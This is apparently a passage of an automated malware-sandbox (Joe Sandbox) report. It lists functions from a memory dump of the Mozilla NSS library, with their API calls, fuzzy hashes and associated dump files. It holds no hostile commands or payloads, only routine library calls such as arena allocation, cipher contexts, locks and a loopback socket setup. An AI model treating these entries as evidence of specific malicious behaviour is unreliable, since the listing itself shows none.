free.MOZGLUE(00000000), ref: 6CC50EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CC50A2C), ref: 6CC50ED9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 2a3d8ca06cdd6694b57a89c8c70baf07be2d859f31a4837e97513234de9aff63
Instruction ID: 012216b670597ff32df230146cdbc784b20e4f61ca53044fe40cfd9583b21a67
Opcode Fuzzy Hash: 2a3d8ca06cdd6694b57a89c8c70baf07be2d859f31a4837e97513234de9aff63
Instruction Fuzzy Hash: 09213E73F002855BEB0049669C85B6B72AEEFC174CFB94435D858E7A42FAF0C835C2A5

Function 6CC3A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CD19270), ref: 6CC3A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CD19270), ref: 6CC3A9DE

Part of subcall function 6CC3AB40: __aulldiv.LIBCMT ref: 6CC3AB66

Part of subcall function 6CD1CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CD1CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CC3AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CC3AA39
EnterCriticalSection.KERNEL32(?), ref: 6CC3AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC3AAEB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 910779ea91e9b18650a556ac0a668184ded66c09627302b54fc686e10a1c29a1
Instruction ID: 1b6594aa1ed7f30e624abaaaa2b3ab966d93fc60049787badc3f5702169b4477
Opcode Fuzzy Hash: 910779ea91e9b18650a556ac0a668184ded66c09627302b54fc686e10a1c29a1
Instruction Fuzzy Hash: 0B41D0716043118FDB009F69E484796BBF5FB85328F24962DE45D8B641EB72D8D1CF80

Function 6CC688D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC70725,00000000,00000058), ref: 6CC68906
EnterCriticalSection.KERNEL32(?), ref: 6CC6891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CC6894A
calloc.MOZGLUE(00000001,6CC7072D,00000000,00000000,00000000,?,6CC70725,00000000,00000058), ref: 6CC68959
memset.VCRUNTIME140(?,00000000,?), ref: 6CC68993
PR_Unlock.NSS3(?), ref: 6CC689AF

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 9b562f18b6271f05440c2af49965fbcc9c98085cbca93df8e63f9c342a8f7614
Instruction ID: 6e982de671f34fcf64af4d0647bca3994558f13fe0b3debdb35378de4f89c967
Opcode Fuzzy Hash: 9b562f18b6271f05440c2af49965fbcc9c98085cbca93df8e63f9c342a8f7614
Instruction Fuzzy Hash: ED313772E00111ABD7008F2ADD81E5AB7A8BF46718F148126ED18DBF41F732E845C7E2

Function 6CC5AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC5AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CC5AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CC5AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD79500), ref: 6CC5AF23

Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CCAF0C8
Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCAF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5AF37

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: fa2835fca056addde40f32bfe03a7222ec31c2b4027058664f1bc9438b3f015a
Instruction ID: 75dcdd71b26705f1d0b352e89c2599cc68954df5d464ce2d688bf37178ea1d70
Opcode Fuzzy Hash: fa2835fca056addde40f32bfe03a7222ec31c2b4027058664f1bc9438b3f015a
Instruction Fuzzy Hash: 042148B29092006BEB108F1ADC01BAA7BE4AFC5328F544315EC14AB790F732D52587BB

Function 6CD68A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CD68A8F

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

htons.WSOCK32(?), ref: 6CD68ACB
PR_GetCurrentThread.NSS3(?), ref: 6CD68AE2
htons.WSOCK32(?), ref: 6CD68B1E
htonl.WSOCK32(7F000001,?), ref: 6CD68B3B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: 7088f8a576a1cd9deb6767c579c813d9821112433dfb5d91a975136ac40907a8
Instruction ID: f0b7a17e1e2d974255a7ca0e4d90e70c76611283759a215db0d3f4c7c18cc8b0
Opcode Fuzzy Hash: 7088f8a576a1cd9deb6767c579c813d9821112433dfb5d91a975136ac40907a8
Instruction Fuzzy Hash: 09219AA0D14741DBD3208F3A8D81577B2B5AF9A308F21DA1BE8D997E30E734A0C0D3A4

Function 6CCDEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCDEE85
realloc.MOZGLUE(B58BF8DA,?), ref: 6CCDEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CCDEEC5

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

htonl.WSOCK32(?), ref: 6CCDEEE3
htonl.WSOCK32(00000000,?), ref: 6CCDEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CCDEF01

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 2c4efcde812527cd8414314a15799098574e939b1821f4d8cb6ee866b64ac084
Instruction ID: 0209429852c5e248b32a69c38f1bd0ce1ac41e84282888fb68dc5538caf93864
Opcode Fuzzy Hash: 2c4efcde812527cd8414314a15799098574e939b1821f4d8cb6ee866b64ac084
Instruction Fuzzy Hash: E221D371A002259FDF109F28DC8079AB7A4EF49358F168169EE199BA51E730FC14CBE2

Function 6CC8EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC8EE49

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC8EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CC8EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CC8EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC8EEB3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 4563605d819e874f57f29dee9c0a7eb951da0099cdd79f352db8f5bd3a825b34
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: BF21F0BAA012156FEB118A68DC81EAB7BA8EB0970CF054168FD089B701F671DC1487F1

Function 6CCB0AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0AAE
PL_HashTableDestroy.NSS3(?,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0ACA
PL_HashTableDestroy.NSS3(?,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0B24
free.MOZGLUE(?,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0B3C
memset.VCRUNTIME140(6CDB24E4,00000000,000005B0,?,?,6CC67F62,00000000,00000000,?,?,?,6CC680DD), ref: 6CCB0BC2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 98d483c559024e5531d27e3f90cf8413431d3ad2d295ad0fd6f84577a25b4c5b
Instruction ID: 55d3dd6720899f7b895ac1f479fba346b858700be95d0c938ffb18b1eec82f3b
Opcode Fuzzy Hash: 98d483c559024e5531d27e3f90cf8413431d3ad2d295ad0fd6f84577a25b4c5b
Instruction Fuzzy Hash: AA2118F2B00281CBFF14DBAA994DB027ABCA72239CF010529D609E2E41F7359548CB5A

Function 6CCA8A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC561C4,?,6CC55F9C,00000000), ref: 6CCA8A81
TlsGetValue.KERNEL32(?,?,?,6CC55F9C,00000000), ref: 6CCA8A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6CC55F9C,00000000), ref: 6CCA8AB7
PR_Unlock.NSS3(?,?,?,?,?,6CC55F9C,00000000), ref: 6CCA8AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CC55F9C,00000000), ref: 6CCA8B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6CC55F9C,00000000), ref: 6CCA8B18

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 0889a0483311edcd6711ea22dec5df645ec78c869d94b0937e4b86dca563002c
Instruction ID: 2846f8595268160c29c730acc9831318215a56b10e421864d5cdd97a39383936
Opcode Fuzzy Hash: 0889a0483311edcd6711ea22dec5df645ec78c869d94b0937e4b86dca563002c
Instruction Fuzzy Hash: 4B2151B0504742CBEB10AFB9D048B59BBF4BF05358F058A2AD99587B00F730E8D5CB91

Function 6CCA4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CCA4EB8,?), ref: 6CCA4884

Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8821
Part of subcall function 6CCA8800: TlsGetValue.KERNEL32(?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA883D
Part of subcall function 6CCA8800: EnterCriticalSection.KERNEL32(?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8856
Part of subcall function 6CCA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCA8887
Part of subcall function 6CCA8800: PR_Unlock.NSS3(?,?,?,?,6CCB085A,00000000,?,6CC58369,?), ref: 6CCA8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCA4EB8,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCA4EB8,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA48B8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 7b0bb56ac07129136364ac411b99c492e369ef961a0bda1aeecbd4d54af71492
Instruction ID: 77ede9b0b52136ed561d7cd7ab02a4a02d0929835d252b587e4c869a0555fd32
Opcode Fuzzy Hash: 7b0bb56ac07129136364ac411b99c492e369ef961a0bda1aeecbd4d54af71492
Instruction Fuzzy Hash: 4321C5B2F002429BEB04DFE5EC88956B7B8BF16358B041528DA0587A02FB21E81687B1

Function 6CC689E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC688AE,-00000008), ref: 6CC68A04
EnterCriticalSection.KERNEL32(?), ref: 6CC68A15
memset.VCRUNTIME140(6CC688AE,00000000,00000132), ref: 6CC68A27
PR_Unlock.NSS3(?), ref: 6CC68A35
memset.VCRUNTIME140(6CC688AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CC688AE,-00000008), ref: 6CC68A45
free.MOZGLUE(6CC688A6,?,6CC688AE,-00000008), ref: 6CC68A4E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 535adc4dad0f62ba01ff5477f0405c743ad40dff302672d442be492ee133f9e7
Instruction ID: 18485dd1195ecd683ff20bf209d6b209564dd4ebf54c7ec0b1367c8f6ce25847
Opcode Fuzzy Hash: 535adc4dad0f62ba01ff5477f0405c743ad40dff302672d442be492ee133f9e7
Instruction Fuzzy Hash: 9F11E6B5A003019BEB009FAADD85E6ABB78FF06354F000522EE1496A01F732D594C7E1

Function 6CC68A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6CC68FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC70710), ref: 6CC68FF1
Part of subcall function 6CC68FE0: calloc.MOZGLUE(00000001,00000000,?,?,6CC70710), ref: 6CC6904D
Part of subcall function 6CC68FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC70710), ref: 6CC69066
Part of subcall function 6CC68FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC70710), ref: 6CC69078

TlsGetValue.KERNEL32 ref: 6CC68AC1
EnterCriticalSection.KERNEL32 ref: 6CC68AD6
PL_FinishArenaPool.NSS3 ref: 6CC68AE5
PR_Unlock.NSS3 ref: 6CC68AF7
DeleteCriticalSection.KERNEL32 ref: 6CC68B02
free.MOZGLUE ref: 6CC68B0E

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: f737e4882598310e671d87a65e421ebb5377388ab5c568e1810ff9d17ab85f15
Instruction ID: ea4e01d7d980c154382d73c9cef8f21989a3e63d0139e9f1be72c24fd80e0987
Opcode Fuzzy Hash: f737e4882598310e671d87a65e421ebb5377388ab5c568e1810ff9d17ab85f15
Instruction Fuzzy Hash: E5117FB15046058BEB00BF75D58966EBBF8FF45354F01456AD98487B00FB35D489CBD2

Function 6CD68910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD6892E

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_Lock.NSS3 ref: 6CD68950

Part of subcall function 6CD19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CC41A48), ref: 6CD19BB3
Part of subcall function 6CD19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC41A48), ref: 6CD19BC8

getprotobynumber.WSOCK32(?), ref: 6CD68959
GetLastError.KERNEL32(?), ref: 6CD68967
PR_GetCurrentThread.NSS3(?,?), ref: 6CD6896F
PR_Unlock.NSS3(?,?), ref: 6CD6898A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

